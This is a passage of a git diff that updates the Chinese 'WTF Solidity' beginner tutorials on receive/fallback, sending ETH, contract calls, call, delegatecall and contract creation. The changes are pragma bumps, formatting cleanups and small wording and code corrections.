msg.data); +} ``` ## receive和fallback的区别 + `receive`和`fallback`都能够用于接收`ETH`,他们触发的规则如下: -``` + +```text 触发fallback() 还是 receive()? 接收ETH | @@ -76,26 +82,27 @@ receive()存在? fallback() / \ receive() fallback() ``` + 简单来说,合约接收`ETH`时,`msg.data`为空且存在`receive()`时,会触发`receive()`;`msg.data`不为空或不存在`receive()`时,会触发`fallback()`,此时`fallback()`必须为`payable`。 `receive()`和`payable fallback()`均不存在的时候,向合约**直接**发送`ETH`将会报错(你仍可以通过带有`payable`的函数向合约发送`ETH`)。 - ## Remix 演示 + 1. 首先在 Remix 上部署合约 "Fallback.sol"。 2. "VALUE" 栏中填入要发送给合约的金额(单位是 Wei),然后点击 "Transact"。 - ![](img/19-1.jpg) + ![19-1.jpg](img/19-1.jpg) 3. 可以看到交易成功,并且触发了 "receivedCalled" 事件。 - ![](img/19-2.jpg) + ![19-2.jpg](img/19-2.jpg) 4. "VALUE" 栏中填入要发送给合约的金额(单位是 Wei),"CALLDATA" 栏中填入随意编写的`msg.data`,然后点击 "Transact"。 - ![](img/19-3.jpg) - + + ![19-3.jpg](img/19-3.jpg) 5. 可以看到交易成功,并且触发了 "fallbackCalled" 事件。 - ![](img/19-4.jpg) + ![19-4.jpg](img/19-4.jpg) ## 总结 -这一讲,我介绍了`Solidity`中的两种特殊函数,`receive()`和`fallback()`,他们主要在两种情况下被使用,他们主要用于处理接收`ETH`和代理合约`proxy contract`。 +这一讲,我介绍了`Solidity`中的两种特殊函数,`receive()`和`fallback()`,他们主要在两种情况下被使用,处理接收`ETH`和代理合约`proxy contract`。 diff --git a/20_SendETH/SendETH.sol b/20_SendETH/SendETH.sol index 7aa498eae..e84570da4 100644 --- a/20_SendETH/SendETH.sol +++ b/20_SendETH/SendETH.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; // 3种方法发送ETH // transfer: 2300 gas, revert diff --git a/20_SendETH/readme.md b/20_SendETH/readme.md index 1489938f2..5f9157354 100644 --- a/20_SendETH/readme.md +++ b/20_SendETH/readme.md @@ -9,19 +9,21 @@ tags: # WTF Solidity极简入门: 20. 发送ETH -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- `Solidity`有三种方法向其他合约发送`ETH`,他们是:`transfer()`,`send()`和`call()`,其中`call()`是被鼓励的用法。 ## 接收ETH合约 + 我们先部署一个接收`ETH`合约`ReceiveETH`。`ReceiveETH`合约里有一个事件`Log`,记录收到的`ETH`数量和`gas`剩余。还有两个函数,一个是`receive()`函数,收到`ETH`被触发,并发送`Log`事件;另一个是查询合约`ETH`余额的`getBalance()`函数。 + ```solidity contract ReceiveETH { // 收到eth事件,记录amount和gas @@ -44,7 +46,9 @@ contract ReceiveETH { ![20-1](./img/20-1.png) ## 发送ETH合约 + 我们将实现三种方法向`ReceiveETH`合约发送`ETH`。首先,先在发送ETH合约`SendETH`中实现`payable`的`构造函数`和`receive()`,让我们能够在部署时和部署后向合约转账。 + ```solidity contract SendETH { // 构造函数,payable使得部署的时候可以转eth进去 @@ -53,16 +57,19 @@ contract SendETH { receive() external payable{} } ``` + ### transfer + - 用法是`接收方地址.transfer(发送ETH数额)`。 - `transfer()`的`gas`限制是`2300`,足够用于转账,但对方合约的`fallback()`或`receive()`函数不能实现太复杂的逻辑。 - `transfer()`如果转账失败,会自动`revert`(回滚交易)。 代码样例,注意里面的`_to`填`ReceiveETH`合约的地址,`amount`是`ETH`转账金额: + ```solidity // 用transfer()发送ETH function transferETH(address payable _to, uint256 amount) external payable{ - _to.transfer(amount); + _to.transfer(amount); } ``` @@ -86,13 +93,16 @@ function transferETH(address payable _to, uint256 amount) external payable{ - `send()`的返回值是`bool`,代表着转账成功或失败,需要额外代码处理一下。 代码样例: + ```solidity +error SendFailed(); // 用send发送ETH失败error + // send()发送ETH function sendETH(address payable _to, uint256 amount) external payable{ // 处理下send的返回值,如果失败,revert交易并发送error bool success = _to.send(amount); if(!success){ - revert SendFailed(); + revert SendFailed(); } } ``` @@ -110,16 +120,19 @@ function sendETH(address payable _to, uint256 amount) external payable{ - 用法是`接收方地址.call{value: 发送ETH数额}("")`。 - `call()`没有`gas`限制,可以支持对方合约`fallback()`或`receive()`函数实现复杂逻辑。 - `call()`如果转账失败,不会`revert`。 -- `call()`的返回值是`(bool, data)`,其中`bool`代表着转账成功或失败,需要额外代码处理一下。 +- `call()`的返回值是`(bool, bytes)`,其中`bool`代表着转账成功或失败,需要额外代码处理一下。 代码样例: + ```solidity +error CallFailed(); // 用call发送ETH失败error + // call()发送ETH function callETH(address payable _to, uint256 amount) external payable{ // 处理下call的返回值,如果失败,revert交易并发送error (bool success,) = _to.call{value: amount}(""); if(!success){ - revert CallFailed(); + revert CallFailed(); } } ``` @@ -135,10 +148,9 @@ function callETH(address payable _to, uint256 amount) external payable{ 运行三种方法,可以看到,他们都可以成功地向`ReceiveETH`合约发送`ETH`。 ## 总结 -这一讲,我们介绍`solidity`三种发送`ETH`的方法:`transfer`,`send`和`call`。 + +这一讲,我们介绍`Solidity`三种发送`ETH`的方法:`transfer`,`send`和`call`。 + - `call`没有`gas`限制,最为灵活,是最提倡的方法; - `transfer`有`2300 gas`限制,但是发送失败会自动`revert`交易,是次优选择; - `send`有`2300 gas`限制,而且发送失败不会自动`revert`交易,几乎没有人用它。 - - - diff --git a/21_CallContract/CallContract.sol b/21_CallContract/CallContract.sol index fde3c2e63..98649b127 100644 --- a/21_CallContract/CallContract.sol +++ b/21_CallContract/CallContract.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract OtherContract { uint256 private _x = 0; // 状态变量x diff --git a/21_CallContract/readme.md b/21_CallContract/readme.md index 3865b1c23..6eaeecf36 100644 --- a/21_CallContract/readme.md +++ b/21_CallContract/readme.md @@ -9,21 +9,22 @@ tags: # WTF Solidity极简入门: 21. 调用其他合约 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- ## 调用已部署合约 -在Solidity中,一个合约可以调用另一个合约的函数,这在构建复杂的DApps时非常有用。本教程将会介绍如何在已知合约代码(或接口)和地址的情况下,调用已部署的合约。 +在`Solidity`中,一个合约可以调用另一个合约的函数,这在构建复杂的DApps时非常有用。本教程将会介绍如何在已知合约代码(或接口)和地址的情况下,调用已部署的合约。 ## 目标合约 + 我们先写一个简单的合约`OtherContract`,用于被其他合约调用。 ```solidity @@ -54,11 +55,13 @@ contract OtherContract { ``` 这个合约包含一个状态变量`_x`,一个事件`Log`在收到`ETH`时触发,三个函数: + - `getBalance()`: 返回合约`ETH`余额。 - `setX()`: `external payable`函数,可以设置`_x`的值,并向合约发送`ETH`。 - `getX()`: 读取`_x`的值。 ## 调用`OtherContract`合约 + 我们可以利用合约的地址和合约代码(或接口)来创建合约的引用:`_Name(_Address)`,其中`_Name`是合约名,应与合约代码(或接口)中标注的合约名保持一致,`_Address`是合约地址。然后用合约的引用来调用它的函数:`_Name(_Address).f()`,其中`f()`是要调用的函数。 下面我们介绍4个调用合约的例子,在remix中编译合约后,分别部署`OtherContract`和`CallContract`: @@ -70,12 +73,13 @@ contract OtherContract { ![deploy contract2 in remix](./img/21-3.png) ### 1. 传入合约地址 + 我们可以在函数里传入目标合约地址,生成目标合约的引用,然后调用目标函数。以调用`OtherContract`合约的`setX`函数为例,我们在新合约中写一个`callSetX`函数,传入已部署好的`OtherContract`合约地址`_Address`和`setX`的参数`x`: ```solidity - function callSetX(address _Address, uint256 x) external{ - OtherContract(_Address).setX(x); - } +function callSetX(address _Address, uint256 x) external{ + OtherContract(_Address).setX(x); +} ``` 复制`OtherContract`合约的地址,填入`callSetX`函数的参数中,成功调用后,调用`OtherContract`合约中的`getX`验证`x`变为123 @@ -85,14 +89,15 @@ contract OtherContract { ![call contract2 in remix](./img/21-5.png) ### 2. 传入合约变量 + 我们可以直接在函数里传入合约的引用,只需要把上面参数的`address`类型改为目标合约名,比如`OtherContract`。下面例子实现了调用目标合约的`getX()`函数。 -**注意**该函数参数`OtherContract _Address`底层类型仍然是`address`,生成的`ABI`中、调用`callGetX`时传入的参数都是`address`类型 +**注意**:该函数参数`OtherContract _Address`底层类型仍然是`address`,生成的`ABI`中、调用`callGetX`时传入的参数都是`address`类型 ```solidity - function callGetX(OtherContract _Address) external view returns(uint x){ - x = _Address.getX(); - } +function callGetX(OtherContract _Address) external view returns(uint x){ + x = _Address.getX(); +} ``` 复制`OtherContract`合约的地址,填入`callGetX`函数的参数中,调用后成功获取`x`的值 @@ -100,12 +105,14 @@ contract OtherContract { ![call contract3 in remix](./img/21-6.png) ### 3. 创建合约变量 + 我们可以创建合约变量,然后通过它来调用目标函数。下面例子,我们给变量`oc`存储了`OtherContract`合约的引用: + ```solidity - function callGetX2(address _Address) external view returns(uint x){ - OtherContract oc = OtherContract(_Address); - x = oc.getX(); - } +function callGetX2(address _Address) external view returns(uint x){ + OtherContract oc = OtherContract(_Address); + x = oc.getX(); +} ``` 复制`OtherContract`合约的地址,填入`callGetX2`函数的参数中,调用后成功获取`x`的值 @@ -113,13 +120,15 @@ contract OtherContract { ![call contract4 in remix](./img/21-7.png) ### 4. 调用合约并发送`ETH` + 如果目标合约的函数是`payable`的,那么我们可以通过调用它来给合约转账:`_Name(_Address).f{value: _Value}()`,其中`_Name`是合约名,`_Address`是合约地址,`f`是目标函数名,`_Value`是要转的`ETH`数额(以`wei`为单位)。 `OtherContract`合约的`setX`函数是`payable`的,在下面这个例子中我们通过调用`setX`来往目标合约转账。 + ```solidity - function setXTransferETH(address otherContract, uint256 x) payable external{ - OtherContract(otherContract).setX{value: msg.value}(x); - } +function setXTransferETH(address otherContract, uint256 x) payable external{ + OtherContract(otherContract).setX{value: msg.value}(x); +} ``` 复制`OtherContract`合约的地址,填入`setXTransferETH`函数的参数中,并转入10ETH @@ -131,4 +140,5 @@ contract OtherContract { ![call contract6 in remix](./img/21-9.png) ## 总结 + 这一讲,我们介绍了如何通过目标合约代码(或接口)和地址来创建合约的引用,从而调用目标合约的函数。 diff --git a/22_Call/Call.sol b/22_Call/Call.sol index 75df924ca..af1c98eb6 100644 --- a/22_Call/Call.sol +++ b/22_Call/Call.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract OtherContract { uint256 private _x = 0; // 状态变量x diff --git a/22_Call/readme.md b/22_Call/readme.md index 5cac05b9f..e7f18a252 100644 --- a/22_Call/readme.md +++ b/22_Call/readme.md @@ -10,46 +10,53 @@ tags: # WTF Solidity极简入门: 22. Call -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- 我们曾在[第20讲:发送ETH](https://github.com/AmazingAng/WTFSolidity/tree/main/20_SendETH)那一讲介绍过利用`call`来发送`ETH`,这一讲我们将介绍如何利用它调用合约。 ## Call -`call` 是`address`类型的低级成员函数,它用来与其他合约交互。它的返回值为`(bool, data)`,分别对应`call`是否成功以及目标函数的返回值。 -- `call`是`solidity`官方推荐的通过触发`fallback`或`receive`函数发送`ETH`的方法。 +`call` 是`address`类型的低级成员函数,它用来与其他合约交互。它的返回值为`(bool, bytes memory)`,分别对应`call`是否成功以及目标函数的返回值。 + +- `call`是`Solidity`官方推荐的通过触发`fallback`或`receive`函数发送`ETH`的方法。 - 不推荐用`call`来调用另一个合约,因为当你调用不安全合约的函数时,你就把主动权交给了它。推荐的方法仍是声明合约变量后调用函数,见[第21讲:调用其他合约](https://github.com/AmazingAng/WTFSolidity/tree/main/21_CallContract) - 当我们不知道对方合约的源代码或`ABI`,就没法生成合约变量;这时,我们仍可以通过`call`调用对方合约的函数。 ### `call`的使用规则 + `call`的使用规则如下: -``` + +```text 目标合约地址.call(字节码); ``` + 其中`字节码`利用结构化编码函数`abi.encodeWithSignature`获得: -``` + +```text abi.encodeWithSignature("函数签名", 逗号分隔的具体参数) ``` -`函数签名`为`"函数名(逗号分隔的参数类型)"`。例如`abi.encodeWithSignature("f(uint256,address)", _x, _addr)`。 -另外`call`在调用合约时可以指定交易发送的`ETH`数额和`gas`: +`函数签名`为`"函数名(逗号分隔的参数类型)"`。例如`abi.encodeWithSignature("f(uint256,address)", _x, _addr)`。 -``` +另外`call`在调用合约时可以指定交易发送的`ETH`数额和`gas`数额: + +```text 目标合约地址.call{value:发送数额, gas:gas数额}(字节码); ``` 看起来有点复杂,下面我们举个`call`应用的例子。 ### 目标合约 -我们先写一个简单的目标合约`OtherContract`并部署,代码与第19讲中基本相同,只是多了`fallback`函数。 + +我们先写一个简单的目标合约`OtherContract`并部署,代码与第21讲中基本相同,只是多了`fallback`函数。 ```solidity contract OtherContract { @@ -81,12 +88,14 @@ contract OtherContract { ``` 这个合约包含一个状态变量`x`,一个在收到`ETH`时触发的事件`Log`,三个函数: + - `getBalance()`: 返回合约`ETH`余额。 - `setX()`: `external payable`函数,可以设置`x`的值,并向合约发送`ETH`。 - `getX()`: 读取`x`的值。 ### 利用`call`调用目标合约 -**1. Response事件** + +#### 1. Response事件 我们写一个`Call`合约来调用目标合约函数。首先定义一个`Response`事件,输出`call`返回的`success`和`data`,方便我们观察返回值。 @@ -95,18 +104,18 @@ contract OtherContract { event Response(bool success, bytes data); ``` -**2. 调用setX函数** +#### 2. 调用setX函数 我们定义`callSetX`函数来调用目标合约的`setX()`,转入`msg.value`数额的`ETH`,并释放`Response`事件输出`success`和`data`: ```solidity function callSetX(address payable _addr, uint256 x) public payable { - // call setX(),同时可以发送ETH - (bool success, bytes memory data) = _addr.call{value: msg.value}( - abi.encodeWithSignature("setX(uint256)", x) - ); + // call setX(),同时可以发送ETH + (bool success, bytes memory data) = _addr.call{value: msg.value}( + abi.encodeWithSignature("setX(uint256)", x) + ); - emit Response(success, data); //释放事件 + emit Response(success, data); //释放事件 } ``` @@ -114,38 +123,38 @@ function callSetX(address payable _addr, uint256 x) public payable { ![22-1](./img/22-1.png) -**3. 调用getX函数** +#### 3. 调用getX函数 下面我们调用`getX()`函数,它将返回目标合约`_x`的值,类型为`uint256`。我们可以利用`abi.decode`来解码`call`的返回值`data`,并读出数值。 ```solidity function callGetX(address _addr) external returns(uint256){ - // call getX() - (bool success, bytes memory data) = _addr.call( - abi.encodeWithSignature("getX()") - ); + // call getX() + (bool success, bytes memory data) = _addr.call( + abi.encodeWithSignature("getX()") + ); - emit Response(success, data); //释放事件 - return abi.decode(data, (uint256)); + emit Response(success, data); //释放事件 + return abi.decode(data, (uint256)); } ``` + 从`Response`事件的输出,我们可以看到`data`为`0x0000000000000000000000000000000000000000000000000000000000000005`。而经过`abi.decode`,最终返回值为`5`。 ![22-2](./img/22-2.png) -**4. 调用不存在的函数** +#### 4. 调用不存在的函数 如果我们给`call`输入的函数不存在于目标合约,那么目标合约的`fallback`函数会被触发。 - ```solidity function callNonExist(address _addr) external{ - // call 不存在的函数 - (bool success, bytes memory data) = _addr.call( - abi.encodeWithSignature("foo(uint256)") - ); + // call 不存在的函数 + (bool success, bytes memory data) = _addr.call( + abi.encodeWithSignature("foo(uint256)") + ); - emit Response(success, data); //释放事件 + emit Response(success, data); //释放事件 } ``` @@ -156,4 +165,3 @@ function callNonExist(address _addr) external{ ## 总结 这一讲,我们介绍了如何用`call`这一低级函数来调用其他合约。`call`不是调用合约的推荐方法,因为不安全。但他能让我们在不知道源代码和`ABI`的情况下调用目标合约,很有用。 - diff --git a/23_Delegatecall/Delegatecall.sol b/23_Delegatecall/Delegatecall.sol index 6eb965fe7..9df5d387e 100644 --- a/23_Delegatecall/Delegatecall.sol +++ b/23_Delegatecall/Delegatecall.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; // delegatecall和call类似,都是低级函数 // call: B call C, 上下文为 C (msg.sender = B, C中的状态变量受影响) diff --git a/23_Delegatecall/readme.md b/23_Delegatecall/readme.md index 29527efec..33b64787f 100644 --- a/23_Delegatecall/readme.md +++ b/23_Delegatecall/readme.md @@ -10,18 +10,19 @@ tags: # WTF Solidity极简入门: 23. Delegatecall -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- + +## `Delegatecall` -## `delegatecall` -`delegatecall`与`call`类似,是`solidity`中地址类型的低级成员函数。`delegate`中是委托/代表的意思,那么`delegatecall`委托了什么? +`delegatecall`与`call`类似,是`Solidity`中地址类型的低级成员函数。`delegate`中是委托/代表的意思,那么`delegatecall`委托了什么? 当用户`A`通过合约`B`来`call`合约`C`的时候,执行的是合约`C`的函数,`上下文`(`Context`,可以理解为包含变量和状态的环境)也是合约`C`的:`msg.sender`是`B`的地址,并且如果函数改变一些状态变量,产生的效果会作用于合约`C`的变量上。 @@ -34,20 +35,25 @@ tags: 大家可以这样理解:一个投资者(用户`A`)把他的资产(`B`合约的`状态变量`)都交给一个风险投资代理(`C`合约)来打理。执行的是风险投资代理的函数,但是改变的是资产的状态。 `delegatecall`语法和`call`类似,也是: + ```solidity 目标合约地址.delegatecall(二进制编码); ``` + 其中`二进制编码`利用结构化编码函数`abi.encodeWithSignature`获得: + ```solidity abi.encodeWithSignature("函数签名", 逗号分隔的具体参数) ``` -`函数签名`为`"函数名(逗号分隔的参数类型)"`。例如`abi.encodeWithSignature("f(uint256,address)", _x, _addr)`。 + +`函数签名`为`"函数名(逗号分隔的参数类型)"`。例如`abi.encodeWithSignature("f(uint256,address)", _x, _addr)`。 和`call`不一样,`delegatecall`在调用合约时可以指定交易发送的`gas`,但不能指定发送的`ETH`数额 > **注意**:`delegatecall`有安全隐患,使用时要保证当前合约和目标合约的状态变量存储结构相同,并且目标合约安全,不然会造成资产损失。 ## 什么情况下会用到`delegatecall`? + 目前`delegatecall`主要有两个应用场景: 1. 代理合约(`Proxy Contract`):将智能合约的存储合约和逻辑合约分开:代理合约(`Proxy Contract`)存储所有相关的变量,并且保存逻辑合约的地址;所有函数存在逻辑合约(`Logic Contract`)里,通过`delegatecall`执行。当升级时,只需要将代理合约指向新的逻辑合约即可。 @@ -55,9 +61,13 @@ abi.encodeWithSignature("函数签名", 逗号分隔的具体参数) 2. EIP-2535 Diamonds(钻石):钻石是一个支持构建可在生产中扩展的模块化智能合约系统的标准。钻石是具有多个实施合约的代理合约。 更多信息请查看:[钻石标准简介](https://eip2535diamonds.substack.com/p/introduction-to-the-diamond-standard)。 ## `delegatecall`例子 + 调用结构:你(`A`)通过合约`B`调用目标合约`C`。 + ### 被调用的合约C + 我们先写一个简单的目标合约`C`:有两个`public`变量:`num`和`sender`,分别是`uint256`和`address`类型;有一个函数,可以将`num`设定为传入的`_num`,并且将`sender`设为`msg.sender`。 + ```solidity // 被调用的合约C contract C { @@ -70,66 +80,67 @@ contract C { } } ``` + ### 发起调用的合约B + 首先,合约`B`必须和目标合约`C`的变量存储布局必须相同,两个变量,并且顺序为`num`和`sender` + ```solidity contract B { uint public num; address public sender; +} ``` 接下来,我们分别用`call`和`delegatecall`来调用合约`C`的`setVars`函数,更好的理解它们的区别。 `callSetVars`函数通过`call`来调用`setVars`。它有两个参数`_addr`和`_num`,分别对应合约`C`的地址和`setVars`的参数。 + ```solidity - // 通过call来调用C的setVars()函数,将改变合约C里的状态变量 - function callSetVars(address _addr, uint _num) external payable{ - // call setVars() - (bool success, bytes memory data) = _addr.call( - abi.encodeWithSignature("setVars(uint256)", _num) - ); - } +// 通过call来调用C的setVars()函数,将改变合约C里的状态变量 +function callSetVars(address _addr, uint _num) external payable{ + // call setVars() + (bool success, bytes memory data) = _addr.call( + abi.encodeWithSignature("setVars(uint256)", _num) + ); +} ``` 而`delegatecallSetVars`函数通过`delegatecall`来调用`setVars`。与上面的`callSetVars`函数相同,有两个参数`_addr`和`_num`,分别对应合约`C`的地址和`setVars`的参数。 ```solidity - // 通过delegatecall来调用C的setVars()函数,将改变合约B里的状态变量 - function delegatecallSetVars(address _addr, uint _num) external payable{ - // delegatecall setVars() - (bool success, bytes memory data) = _addr.delegatecall( - abi.encodeWithSignature("setVars(uint256)", _num) - ); - } +// 通过delegatecall来调用C的setVars()函数,将改变合约B里的状态变量 +function delegatecallSetVars(address _addr, uint _num) external payable{ + // delegatecall setVars() + (bool success, bytes memory data) = _addr.delegatecall( + abi.encodeWithSignature("setVars(uint256)", _num) + ); } ``` ### 在remix上验证 -1. 首先,我们把合约`B`和`C`都部署好 - -![deploy.png](./img/23-1.png) +1. 首先,我们把合约`B`和`C`都部署好 + ![deploy.png](./img/23-1.png) 2. 部署之后,查看`C`合约状态变量的初始值,`B`合约的状态变量也是一样。 -![initialstate.png](./img/23-2.png) - + ![initialstate.png](./img/23-2.png) 3. 此时,调用合约`B`中的`callSetVars`,传入参数为合约`C`地址和`10` -![call.png](./img/23-3.png) + ![call.png](./img/23-3.png) 4. 运行后,合约`C`中的状态变量将被修改:`num`被改为`10`,`sender`变为合约`B`的地址 -![resultcall.png](./img/23-4.png) - - + ![resultcall.png](./img/23-4.png) 5. 接下来,我们调用合约`B`中的`delegatecallSetVars`,传入参数为合约`C`地址和`100` -![delegatecall.png](./img/23-5.png) + ![delegatecall.png](./img/23-5.png) 6. 由于是`delegatecall`,上下文为合约`B`。在运行后,合约`B`中的状态变量将被修改:`num`被改为`100`,`sender`变为你的钱包地址。合约`C`中的状态变量不会被修改。 -![resultdelegatecall.png](./img/23-6.png) + ![resultdelegatecall.png](./img/23-6.png) ## 总结 -这一讲我们介绍了`solidity`中的另一个低级函数`delegatecall`。与`call`类似,它可以用来调用其他合约;不同点在于运行的上下文,`B call C`,上下文为`C`;而`B delegatecall C`,上下文为`B`。目前`delegatecall`最大的应用是代理合约和`EIP-2535 Diamonds`(钻石)。 + +这一讲我们介绍了`Solidity`中的另一个低级函数`delegatecall`。与`call`类似,它可以用来调用其他合约;不同点在于运行的上下文,`B call C`,上下文为`C`;而`B delegatecall C`,上下文为`B`。目前`delegatecall`最大的应用是代理合约和`EIP-2535 Diamonds`(钻石)。 diff --git a/24_Create/Create.sol b/24_Create/Create.sol index 8f405f728..58c1de5fc 100644 --- a/24_Create/Create.sol +++ b/24_Create/Create.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract Pair{ address public factory; // 工厂合约地址 diff --git a/24_Create/readme.md b/24_Create/readme.md index 7ee1b828c..006de979b 100644 --- a/24_Create/readme.md +++ b/24_Create/readme.md @@ -9,22 +9,24 @@ tags: # WTF Solidity极简入门: 24. 在合约中创建新合约 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- 在以太坊链上,用户(外部账户,`EOA`)可以创建智能合约,智能合约同样也可以创建新的智能合约。去中心化交易所`uniswap`就是利用工厂合约(`PairFactory`)创建了无数个币对合约(`Pair`)。这一讲,我会用简化版的`uniswap`讲如何通过合约创建合约。 ## `create` + 有两种方法可以在合约中创建新合约,`create`和`create2`,这里我们讲`create`,下一讲会介绍`create2`。 `create`的用法很简单,就是`new`一个合约,并传入新合约构造函数所需的参数: + ```solidity Contract x = new Contract{value: _value}(params) ``` @@ -32,6 +34,7 @@ Contract x = new Contract{value: _value}(params) 其中`Contract`是要创建的合约名,`x`是合约对象(地址),如果构造函数是`payable`,可以创建时转入`_value`数量的`ETH`,`params`是新合约构造函数的参数。 ## 极简Uniswap + `Uniswap V2`[核心合约](https://github.com/Uniswap/v2-core/tree/master/contracts)中包含两个合约: 1. UniswapV2Pair: 币对合约,用于管理币对地址、流动性、买卖。 @@ -39,7 +42,7 @@ Contract x = new Contract{value: _value}(params) 下面我们用`create`方法实现一个极简版的`Uniswap`:`Pair`币对合约负责管理币对地址,`PairFactory`工厂合约用于创建新的币对,并管理币对地址。 -### `Pair`合约 +### `Pair`合约 ```solidity contract Pair{ @@ -59,6 +62,7 @@ contract Pair{ } } ``` + `Pair`合约很简单,包含3个状态变量:`factory`,`token0`和`token1`。 构造函数`constructor`在部署时将`factory`赋值为工厂合约地址。`initialize`函数会由工厂合约在部署完成后手动调用以初始化代币地址,将`token0`和`token1`更新为币对中两种代币的地址。 @@ -68,6 +72,7 @@ contract Pair{ > **答**:因为`uniswap`使用的是`create2`创建合约,生成的合约地址可以实现预测,更多详情请阅读[第25讲](https://github.com/AmazingAng/WTF-Solidity/blob/main/25_Create2/readme.md)。 ### `PairFactory` + ```solidity contract PairFactory{ mapping(address => mapping(address => address)) public getPair; // 通过两个代币地址查Pair地址 @@ -86,32 +91,34 @@ contract PairFactory{ } } ``` + 工厂合约(`PairFactory`)有两个状态变量`getPair`是两个代币地址到币对地址的`map`,方便根据代币找到币对地址;`allPairs`是币对地址的数组,存储了所有代币地址。 `PairFactory`合约只有一个`createPair`函数,根据输入的两个代币地址`tokenA`和`tokenB`来创建新的`Pair`合约。其中 + ```solidity - Pair pair = new Pair(); +Pair pair = new Pair(); ``` + 就是创建合约的代码,非常简单。大家可以部署好`PairFactory`合约,然后用下面两个地址作为参数调用`createPair`,看看创建的币对地址是什么: -``` + +```text WBNB地址: 0x2c44b726ADF1963cA47Af88B284C06f30380fC78 -BSC链上的PEOPLE地址: -0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c +BSC链上的PEOPLE地址: 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c ``` ### 在remix上验证 